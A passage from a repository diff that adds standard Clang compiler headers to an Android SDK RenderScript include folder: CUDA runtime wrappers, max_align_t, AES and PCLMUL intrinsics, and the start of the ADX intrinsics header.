__DEVICE__ double scalbn(double, int);
|
||||
__DEVICE__ float scalbn(float, int);
|
||||
__DEVICE__ bool signbit(double);
|
||||
__DEVICE__ bool signbit(float);
|
||||
__DEVICE__ double sin(double);
|
||||
__DEVICE__ float sin(float);
|
||||
__DEVICE__ double sinh(double);
|
||||
__DEVICE__ float sinh(float);
|
||||
__DEVICE__ double sqrt(double);
|
||||
__DEVICE__ float sqrt(float);
|
||||
__DEVICE__ double tan(double);
|
||||
__DEVICE__ float tan(float);
|
||||
__DEVICE__ double tanh(double);
|
||||
__DEVICE__ float tanh(float);
|
||||
__DEVICE__ double tgamma(double);
|
||||
__DEVICE__ float tgamma(float);
|
||||
__DEVICE__ double trunc(double);
|
||||
__DEVICE__ float trunc(float);
|
||||
|
||||
namespace std {
|
||||
using ::abs;
|
||||
using ::acos;
|
||||
using ::acosh;
|
||||
using ::asin;
|
||||
using ::asinh;
|
||||
using ::atan;
|
||||
using ::atan2;
|
||||
using ::atanh;
|
||||
using ::cbrt;
|
||||
using ::ceil;
|
||||
using ::copysign;
|
||||
using ::cos;
|
||||
using ::cosh;
|
||||
using ::erf;
|
||||
using ::erfc;
|
||||
using ::exp;
|
||||
using ::exp2;
|
||||
using ::expm1;
|
||||
using ::fabs;
|
||||
using ::fdim;
|
||||
using ::floor;
|
||||
using ::fma;
|
||||
using ::fmax;
|
||||
using ::fmin;
|
||||
using ::fmod;
|
||||
using ::fpclassify;
|
||||
using ::frexp;
|
||||
using ::hypot;
|
||||
using ::ilogb;
|
||||
using ::isfinite;
|
||||
using ::isgreater;
|
||||
using ::isgreaterequal;
|
||||
using ::isinf;
|
||||
using ::isless;
|
||||
using ::islessequal;
|
||||
using ::islessgreater;
|
||||
using ::isnan;
|
||||
using ::isnormal;
|
||||
using ::isunordered;
|
||||
using ::labs;
|
||||
using ::ldexp;
|
||||
using ::lgamma;
|
||||
using ::llabs;
|
||||
using ::llrint;
|
||||
using ::log;
|
||||
using ::log10;
|
||||
using ::log1p;
|
||||
using ::log2;
|
||||
using ::logb;
|
||||
using ::lrint;
|
||||
using ::lround;
|
||||
using ::modf;
|
||||
using ::nan;
|
||||
using ::nanf;
|
||||
using ::nearbyint;
|
||||
using ::nextafter;
|
||||
using ::nexttoward;
|
||||
using ::pow;
|
||||
using ::remainder;
|
||||
using ::remquo;
|
||||
using ::rint;
|
||||
using ::round;
|
||||
using ::scalbln;
|
||||
using ::scalbn;
|
||||
using ::signbit;
|
||||
using ::sin;
|
||||
using ::sinh;
|
||||
using ::sqrt;
|
||||
using ::tan;
|
||||
using ::tanh;
|
||||
using ::tgamma;
|
||||
using ::trunc;
|
||||
} // namespace std
|
||||
|
||||
#pragma pop_macro("__DEVICE__")
|
||||
|
||||
#endif
|
|
@ -0,0 +1,316 @@
|
|||
/*===---- __clang_cuda_runtime_wrapper.h - CUDA runtime support -------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
|
||||
/*
|
||||
* WARNING: This header is intended to be directly -include'd by
|
||||
* the compiler and is not supposed to be included by users.
|
||||
*
|
||||
* CUDA headers are implemented in a way that currently makes it
|
||||
* impossible for user code to #include directly when compiling with
|
||||
* Clang. They present different view of CUDA-supplied functions
|
||||
* depending on where in NVCC's compilation pipeline the headers are
|
||||
* included. Neither of these modes provides function definitions with
|
||||
* correct attributes, so we use preprocessor to force the headers
|
||||
* into a form that Clang can use.
|
||||
*
|
||||
* Similarly to NVCC which -include's cuda_runtime.h, Clang -include's
|
||||
* this file during every CUDA compilation.
|
||||
*/
|
||||
|
||||
#ifndef __CLANG_CUDA_RUNTIME_WRAPPER_H__
|
||||
#define __CLANG_CUDA_RUNTIME_WRAPPER_H__
|
||||
|
||||
#if defined(__CUDA__) && defined(__clang__)
|
||||
|
||||
// Include some forward declares that must come before cmath.
|
||||
#include <__clang_cuda_math_forward_declares.h>
|
||||
|
||||
// Include some standard headers to avoid CUDA headers including them
|
||||
// while some required macros (like __THROW) are in a weird state.
|
||||
#include <cmath>
|
||||
#include <cstdlib>
|
||||
#include <stdlib.h>
|
||||
|
||||
// Preserve common macros that will be changed below by us or by CUDA
|
||||
// headers.
|
||||
#pragma push_macro("__THROW")
|
||||
#pragma push_macro("__CUDA_ARCH__")
|
||||
|
||||
// WARNING: Preprocessor hacks below are based on specific details of
|
||||
// CUDA-7.x headers and are not expected to work with any other
|
||||
// version of CUDA headers.
|
||||
#include "cuda.h"
|
||||
#if !defined(CUDA_VERSION)
|
||||
#error "cuda.h did not define CUDA_VERSION"
|
||||
#elif CUDA_VERSION < 7000 || CUDA_VERSION > 7050
|
||||
#error "Unsupported CUDA version!"
|
||||
#endif
|
||||
|
||||
// Make largest subset of device functions available during host
|
||||
// compilation -- SM_35 for the time being.
|
||||
#ifndef __CUDA_ARCH__
|
||||
#define __CUDA_ARCH__ 350
|
||||
#endif
|
||||
|
||||
#include "cuda_builtin_vars.h"
|
||||
|
||||
// No need for device_launch_parameters.h as cuda_builtin_vars.h above
|
||||
// has taken care of builtin variables declared in the file.
|
||||
#define __DEVICE_LAUNCH_PARAMETERS_H__
|
||||
|
||||
// {math,device}_functions.h only have declarations of the
|
||||
// functions. We don't need them as we're going to pull in their
|
||||
// definitions from .hpp files.
|
||||
#define __DEVICE_FUNCTIONS_H__
|
||||
#define __MATH_FUNCTIONS_H__
|
||||
#define __COMMON_FUNCTIONS_H__
|
||||
|
||||
#undef __CUDACC__
|
||||
#define __CUDABE__
|
||||
// Disables definitions of device-side runtime support stubs in
|
||||
// cuda_device_runtime_api.h
|
||||
#include "driver_types.h"
|
||||
#include "host_config.h"
|
||||
#include "host_defines.h"
|
||||
|
||||
#undef __CUDABE__
|
||||
#define __CUDACC__
|
||||
#include "cuda_runtime.h"
|
||||
|
||||
#undef __CUDACC__
|
||||
#define __CUDABE__
|
||||
|
||||
// CUDA headers use __nvvm_memcpy and __nvvm_memset which Clang does
|
||||
// not have at the moment. Emulate them with a builtin memcpy/memset.
|
||||
#define __nvvm_memcpy(s, d, n, a) __builtin_memcpy(s, d, n)
|
||||
#define __nvvm_memset(d, c, n, a) __builtin_memset(d, c, n)
|
||||
|
||||
#include "crt/device_runtime.h"
|
||||
#include "crt/host_runtime.h"
|
||||
// device_runtime.h defines __cxa_* macros that will conflict with
|
||||
// cxxabi.h.
|
||||
// FIXME: redefine these as __device__ functions.
|
||||
#undef __cxa_vec_ctor
|
||||
#undef __cxa_vec_cctor
|
||||
#undef __cxa_vec_dtor
|
||||
#undef __cxa_vec_new2
|
||||
#undef __cxa_vec_new3
|
||||
#undef __cxa_vec_delete2
|
||||
#undef __cxa_vec_delete
|
||||
#undef __cxa_vec_delete3
|
||||
#undef __cxa_pure_virtual
|
||||
|
||||
// We need decls for functions in CUDA's libdevice with __device__
|
||||
// attribute only. Alas they come either as __host__ __device__ or
|
||||
// with no attributes at all. To work around that, define __CUDA_RTC__
|
||||
// which produces HD variant and undef __host__ which gives us desided
|
||||
// decls with __device__ attribute.
|
||||
#pragma push_macro("__host__")
|
||||
#define __host__
|
||||
#define __CUDACC_RTC__
|
||||
#include "device_functions_decls.h"
|
||||
#undef __CUDACC_RTC__
|
||||
|
||||
// Temporarily poison __host__ macro to ensure it's not used by any of
|
||||
// the headers we're about to include.
|
||||
#define __host__ UNEXPECTED_HOST_ATTRIBUTE
|
||||
|
||||
// device_functions.hpp and math_functions*.hpp use 'static
|
||||
// __forceinline__' (with no __device__) for definitions of device
|
||||
// functions. Temporarily redefine __forceinline__ to include
|
||||
// __device__.
|
||||
#pragma push_macro("__forceinline__")
|
||||
#define __forceinline__ __device__ __inline__ __attribute__((always_inline))
|
||||
#include "device_functions.hpp"
|
||||
|
||||
// math_function.hpp uses the __USE_FAST_MATH__ macro to determine whether we
|
||||
// get the slow-but-accurate or fast-but-inaccurate versions of functions like
|
||||
// sin and exp. This is controlled in clang by -fcuda-approx-transcendentals.
|
||||
//
|
||||
// device_functions.hpp uses __USE_FAST_MATH__ for a different purpose (fast vs.
|
||||
// slow divides), so we need to scope our define carefully here.
|
||||
#pragma push_macro("__USE_FAST_MATH__")
|
||||
#if defined(__CLANG_CUDA_APPROX_TRANSCENDENTALS__)
|
||||
#define __USE_FAST_MATH__
|
||||
#endif
|
||||
#include "math_functions.hpp"
|
||||
#pragma pop_macro("__USE_FAST_MATH__")
|
||||
|
||||
#include "math_functions_dbl_ptx3.hpp"
|
||||
#pragma pop_macro("__forceinline__")
|
||||
|
||||
// Pull in host-only functions that are only available when neither
|
||||
// __CUDACC__ nor __CUDABE__ are defined.
|
||||
#undef __MATH_FUNCTIONS_HPP__
|
||||
#undef __CUDABE__
|
||||
#include "math_functions.hpp"
|
||||
// Alas, additional overloads for these functions are hard to get to.
|
||||
// Considering that we only need these overloads for a few functions,
|
||||
// we can provide them here.
|
||||
static inline float rsqrt(float __a) { return rsqrtf(__a); }
|
||||
static inline float rcbrt(float __a) { return rcbrtf(__a); }
|
||||
static inline float sinpi(float __a) { return sinpif(__a); }
|
||||
static inline float cospi(float __a) { return cospif(__a); }
|
||||
static inline void sincospi(float __a, float *__b, float *__c) {
|
||||
return sincospif(__a, __b, __c);
|
||||
}
|
||||
static inline float erfcinv(float __a) { return erfcinvf(__a); }
|
||||
static inline float normcdfinv(float __a) { return normcdfinvf(__a); }
|
||||
static inline float normcdf(float __a) { return normcdff(__a); }
|
||||
static inline float erfcx(float __a) { return erfcxf(__a); }
|
||||
|
||||
// For some reason single-argument variant is not always declared by
|
||||
// CUDA headers. Alas, device_functions.hpp included below needs it.
|
||||
static inline __device__ void __brkpt(int __c) { __brkpt(); }
|
||||
|
||||
// Now include *.hpp with definitions of various GPU functions. Alas,
|
||||
// a lot of thins get declared/defined with __host__ attribute which
|
||||
// we don't want and we have to define it out. We also have to include
|
||||
// {device,math}_functions.hpp again in order to extract the other
|
||||
// branch of #if/else inside.
|
||||
|
||||
#define __host__
|
||||
#undef __CUDABE__
|
||||
#define __CUDACC__
|
||||
#undef __DEVICE_FUNCTIONS_HPP__
|
||||
#include "device_atomic_functions.hpp"
|
||||
#include "device_functions.hpp"
|
||||
#include "sm_20_atomic_functions.hpp"
|
||||
#include "sm_20_intrinsics.hpp"
|
||||
#include "sm_32_atomic_functions.hpp"
|
||||
|
||||
// Don't include sm_30_intrinsics.h and sm_32_intrinsics.h. These define the
|
||||
// __shfl and __ldg intrinsics using inline (volatile) asm, but we want to
|
||||
// define them using builtins so that the optimizer can reason about and across
|
||||
// these instructions. In particular, using intrinsics for ldg gets us the
|
||||
// [addr+imm] addressing mode, which, although it doesn't actually exist in the
|
||||
// hardware, seems to generate faster machine code because ptxas can more easily
|
||||
// reason about our code.
|
||||
|
||||
#undef __MATH_FUNCTIONS_HPP__
|
||||
|
||||
// math_functions.hpp defines ::signbit as a __host__ __device__ function. This
|
||||
// conflicts with libstdc++'s constexpr ::signbit, so we have to rename
|
||||
// math_function.hpp's ::signbit. It's guarded by #undef signbit, but that's
|
||||
// conditional on __GNUC__. :)
|
||||
#pragma push_macro("signbit")
|
||||
#pragma push_macro("__GNUC__")
|
||||
#undef __GNUC__
|
||||
#define signbit __ignored_cuda_signbit
|
||||
#include "math_functions.hpp"
|
||||
#pragma pop_macro("__GNUC__")
|
||||
#pragma pop_macro("signbit")
|
||||
|
||||
#pragma pop_macro("__host__")
|
||||
|
||||
#include "texture_indirect_functions.h"
|
||||
|
||||
// Restore state of __CUDA_ARCH__ and __THROW we had on entry.
|
||||
#pragma pop_macro("__CUDA_ARCH__")
|
||||
#pragma pop_macro("__THROW")
|
||||
|
||||
// Set up compiler macros expected to be seen during compilation.
|
||||
#undef __CUDABE__
|
||||
#define __CUDACC__
|
||||
|
||||
extern "C" {
|
||||
// Device-side CUDA system calls.
|
||||
// http://docs.nvidia.com/cuda/ptx-writers-guide-to-interoperability/index.html#system-calls
|
||||
// We need these declarations and wrappers for device-side
|
||||
// malloc/free/printf calls to work without relying on
|
||||
// -fcuda-disable-target-call-checks option.
|
||||
__device__ int vprintf(const char *, const char *);
|
||||
__device__ void free(void *) __attribute((nothrow));
|
||||
__device__ void *malloc(size_t) __attribute((nothrow)) __attribute__((malloc));
|
||||
__device__ void __assertfail(const char *__message, const char *__file,
|
||||
unsigned __line, const char *__function,
|
||||
size_t __charSize) __attribute__((noreturn));
|
||||
|
||||
// In order for standard assert() macro on linux to work we need to
|
||||
// provide device-side __assert_fail()
|
||||
__device__ static inline void __assert_fail(const char *__message,
|
||||
const char *__file, unsigned __line,
|
||||
const char *__function) {
|
||||
__assertfail(__message, __file, __line, __function, sizeof(char));
|
||||
}
|
||||
|
||||
// Clang will convert printf into vprintf, but we still need
|
||||
// device-side declaration for it.
|
||||
__device__ int printf(const char *, ...);
|
||||
} // extern "C"
|
||||
|
||||
// We also need device-side std::malloc and std::free.
|
||||
namespace std {
|
||||
__device__ static inline void free(void *__ptr) { ::free(__ptr); }
|
||||
__device__ static inline void *malloc(size_t __size) {
|
||||
return ::malloc(__size);
|
||||
}
|
||||
} // namespace std
|
||||
|
||||
// Out-of-line implementations from cuda_builtin_vars.h. These need to come
|
||||
// after we've pulled in the definition of uint3 and dim3.
|
||||
|
||||
__device__ inline __cuda_builtin_threadIdx_t::operator uint3() const {
|
||||
uint3 ret;
|
||||
ret.x = x;
|
||||
ret.y = y;
|
||||
ret.z = z;
|
||||
return ret;
|
||||
}
|
||||
|
||||
__device__ inline __cuda_builtin_blockIdx_t::operator uint3() const {
|
||||
uint3 ret;
|
||||
ret.x = x;
|
||||
ret.y = y;
|
||||
ret.z = z;
|
||||
return ret;
|
||||
}
|
||||
|
||||
__device__ inline __cuda_builtin_blockDim_t::operator dim3() const {
|
||||
return dim3(x, y, z);
|
||||
}
|
||||
|
||||
__device__ inline __cuda_builtin_gridDim_t::operator dim3() const {
|
||||
return dim3(x, y, z);
|
||||
}
|
||||
|
||||
#include <__clang_cuda_cmath.h>
|
||||
#include <__clang_cuda_intrinsics.h>
|
||||
|
||||
// curand_mtgp32_kernel helpfully redeclares blockDim and threadIdx in host
|
||||
// mode, giving them their "proper" types of dim3 and uint3. This is
|
||||
// incompatible with the types we give in cuda_builtin_vars.h. As as hack,
|
||||
// force-include the header (nvcc doesn't include it by default) but redefine
|
||||
// dim3 and uint3 to our builtin types. (Thankfully dim3 and uint3 are only
|
||||
// used here for the redeclarations of blockDim and threadIdx.)
|
||||
#pragma push_macro("dim3")
|
||||
#pragma push_macro("uint3")
|
||||
#define dim3 __cuda_builtin_blockDim_t
|
||||
#define uint3 __cuda_builtin_threadIdx_t
|
||||
#include "curand_mtgp32_kernel.h"
|
||||
#pragma pop_macro("dim3")
|
||||
#pragma pop_macro("uint3")
|
||||
#pragma pop_macro("__USE_FAST_MATH__")
|
||||
|
||||
#endif // __CUDA__
|
||||
#endif // __CLANG_CUDA_RUNTIME_WRAPPER_H__
|
|
@ -0,0 +1,43 @@
|
|||
/*===---- __stddef_max_align_t.h - Definition of max_align_t for modules ---===
|
||||
*
|
||||
* Copyright (c) 2014 Chandler Carruth
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
|
||||
#ifndef __CLANG_MAX_ALIGN_T_DEFINED
|
||||
#define __CLANG_MAX_ALIGN_T_DEFINED
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
typedef double max_align_t;
|
||||
#elif defined(__APPLE__)
|
||||
typedef long double max_align_t;
|
||||
#else
|
||||
// Define 'max_align_t' to match the GCC definition.
|
||||
typedef struct {
|
||||
long long __clang_max_align_nonce1
|
||||
__attribute__((__aligned__(__alignof__(long long))));
|
||||
long double __clang_max_align_nonce2
|
||||
__attribute__((__aligned__(__alignof__(long double))));
|
||||
} max_align_t;
|
||||
#endif
|
||||
|
||||
#endif
|
151
tools/android-sdk/renderscript/clang-include/__wmmintrin_aes.h
Normal file
|
@ -0,0 +1,151 @@
|
|||
/*===---- __wmmintrin_aes.h - AES intrinsics -------------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef _WMMINTRIN_AES_H
|
||||
#define _WMMINTRIN_AES_H
|
||||
|
||||
#include <emmintrin.h>
|
||||
|
||||
/* Define the default attributes for the functions in this file. */
|
||||
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("aes")))
|
||||
|
||||
/// \brief Performs a single round of AES encryption using the Equivalent
|
||||
/// Inverse Cipher, transforming the state value from the first source
|
||||
/// operand using a 128-bit round key value contained in the second source
|
||||
/// operand, and writes the result to the destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VAESENC instruction.
|
||||
///
|
||||
/// \param __V
|
||||
/// A 128-bit integer vector containing the state value.
|
||||
/// \param __R
|
||||
/// A 128-bit integer vector containing the round key value.
|
||||
/// \returns A 128-bit integer vector containing the encrypted value.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_aesenc_si128(__m128i __V, __m128i __R)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_aesenc128((__v2di)__V, (__v2di)__R);
|
||||
}
|
||||
|
||||
/// \brief Performs the final round of AES encryption using the Equivalent
|
||||
/// Inverse Cipher, transforming the state value from the first source
|
||||
/// operand using a 128-bit round key value contained in the second source
|
||||
/// operand, and writes the result to the destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VAESENCLAST instruction.
|
||||
///
|
||||
/// \param __V
|
||||
/// A 128-bit integer vector containing the state value.
|
||||
/// \param __R
|
||||
/// A 128-bit integer vector containing the round key value.
|
||||
/// \returns A 128-bit integer vector containing the encrypted value.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_aesenclast_si128(__m128i __V, __m128i __R)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_aesenclast128((__v2di)__V, (__v2di)__R);
|
||||
}
|
||||
|
||||
/// \brief Performs a single round of AES decryption using the Equivalent
|
||||
/// Inverse Cipher, transforming the state value from the first source
|
||||
/// operand using a 128-bit round key value contained in the second source
|
||||
/// operand, and writes the result to the destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VAESDEC instruction.
|
||||
///
|
||||
/// \param __V
|
||||
/// A 128-bit integer vector containing the state value.
|
||||
/// \param __R
|
||||
/// A 128-bit integer vector containing the round key value.
|
||||
/// \returns A 128-bit integer vector containing the decrypted value.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_aesdec_si128(__m128i __V, __m128i __R)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_aesdec128((__v2di)__V, (__v2di)__R);
|
||||
}
|
||||
|
||||
/// \brief Performs the final round of AES decryption using the Equivalent
|
||||
/// Inverse Cipher, transforming the state value from the first source
|
||||
/// operand using a 128-bit round key value contained in the second source
|
||||
/// operand, and writes the result to the destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VAESDECLAST instruction.
|
||||
///
|
||||
/// \param __V
|
||||
/// A 128-bit integer vector containing the state value.
|
||||
/// \param __R
|
||||
/// A 128-bit integer vector containing the round key value.
|
||||
/// \returns A 128-bit integer vector containing the decrypted value.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_aesdeclast_si128(__m128i __V, __m128i __R)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_aesdeclast128((__v2di)__V, (__v2di)__R);
|
||||
}
|
||||
|
||||
/// \brief Applies the AES InvMixColumns() transformation to an expanded key
|
||||
/// contained in the source operand, and writes the result to the
|
||||
/// destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VAESIMC instruction.
|
||||
///
|
||||
/// \param __V
|
||||
/// A 128-bit integer vector containing the expanded key.
|
||||
/// \returns A 128-bit integer vector containing the transformed value.
|
||||
static __inline__ __m128i __DEFAULT_FN_ATTRS
|
||||
_mm_aesimc_si128(__m128i __V)
|
||||
{
|
||||
return (__m128i)__builtin_ia32_aesimc128((__v2di)__V);
|
||||
}
|
||||
|
||||
/// \brief Generates a round key for AES encyption, operating on 128-bit data
|
||||
/// specified in the first source operand and using an 8-bit round constant
|
||||
/// specified by the second source operand, and writes the result to the
|
||||
/// destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// \code
|
||||
/// __m128i _mm_aeskeygenassist_si128(__m128i C, const int R);
|
||||
/// \endcode
|
||||
///
|
||||
/// This intrinsic corresponds to the \c AESKEYGENASSIST instruction.
|
||||
///
|
||||
/// \param C
|
||||
/// A 128-bit integer vector that is used to generate the AES encryption key.
|
||||
/// \param R
|
||||
/// An 8-bit round constant used to generate the AES encryption key.
|
||||
/// \returns A 128-bit round key for AES encryption.
|
||||
#define _mm_aeskeygenassist_si128(C, R) \
|
||||
(__m128i)__builtin_ia32_aeskeygenassist128((__v2di)(__m128i)(C), (int)(R))
|
||||
|
||||
#undef __DEFAULT_FN_ATTRS
|
||||
|
||||
#endif /* _WMMINTRIN_AES_H */
|
|
@ -0,0 +1,58 @@
|
|||
/*===---- __wmmintrin_pclmul.h - PCMUL intrinsics ---------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
#ifndef _WMMINTRIN_PCLMUL_H
|
||||
#define _WMMINTRIN_PCLMUL_H
|
||||
|
||||
/// \brief Multiplies two 64-bit integer values, which are selected from source
|
||||
/// operands using the immediate-value operand. The multiplication is a
|
||||
/// carry-less multiplication, and the 128-bit integer product is stored in
|
||||
/// the destination.
|
||||
///
|
||||
/// \headerfile <x86intrin.h>
|
||||
///
|
||||
/// \code
|
||||
/// __m128i _mm_clmulepi64_si128(__m128i __X, __m128i __Y, const int __I);
|
||||
/// \endcode
|
||||
///
|
||||
/// This intrinsic corresponds to the \c VPCLMULQDQ instruction.
|
||||
///
|
||||
/// \param __X
|
||||
/// A 128-bit vector of [2 x i64] containing one of the source operands.
|
||||
/// \param __Y
|
||||
/// A 128-bit vector of [2 x i64] containing one of the source operands.
|
||||
/// \param __I
|
||||
/// An immediate value specifying which 64-bit values to select from the
|
||||
/// operands.
|
||||
/// Bit 0 is used to select a value from operand __X,
|
||||
/// and bit 4 is used to select a value from operand __Y:
|
||||
/// Bit[0]=0 indicates that bits[63:0] of operand __X are used.
|
||||
/// Bit[0]=1 indicates that bits[127:64] of operand __X are used.
|
||||
/// Bit[4]=0 indicates that bits[63:0] of operand __Y are used.
|
||||
/// Bit[4]=1 indicates that bits[127:64] of operand __Y are used.
|
||||
/// \returns The 128-bit integer vector containing the result of the carry-less
|
||||
/// multiplication of the selected 64-bit values.
|
||||
#define _mm_clmulepi64_si128(__X, __Y, __I) \
|
||||
((__m128i)__builtin_ia32_pclmulqdq128((__v2di)(__m128i)(__X), \
|
||||
(__v2di)(__m128i)(__Y), (char)(__I)))
|
||||
|
||||
#endif /* _WMMINTRIN_PCLMUL_H */
|
86
tools/android-sdk/renderscript/clang-include/adxintrin.h
Normal file
|
@ -0,0 +1,86 @@
|
|||
/*===---- adxintrin.h - ADX intrinsics -------------------------------------===
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*
|
||||
*===-----------------------------------------------------------------------===
|
||||
*/
|
||||
|
||||
#ifndef __IMMINTRIN_H
|
||||
#error "Never use <adxintrin.h> directly; include <immintrin.h> instead."
|
||||
#endif
|
||||
|
||||
#ifndef __ADXINTRIN_H
|
||||
#define __ADXINTRIN_H
|
||||
|
||||
/* Define the default attributes for the functions in this file. */
|
||||
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__))
|
||||
|
||||
/* Intrinsics that are available only if __ADX__ defined */
|
||||
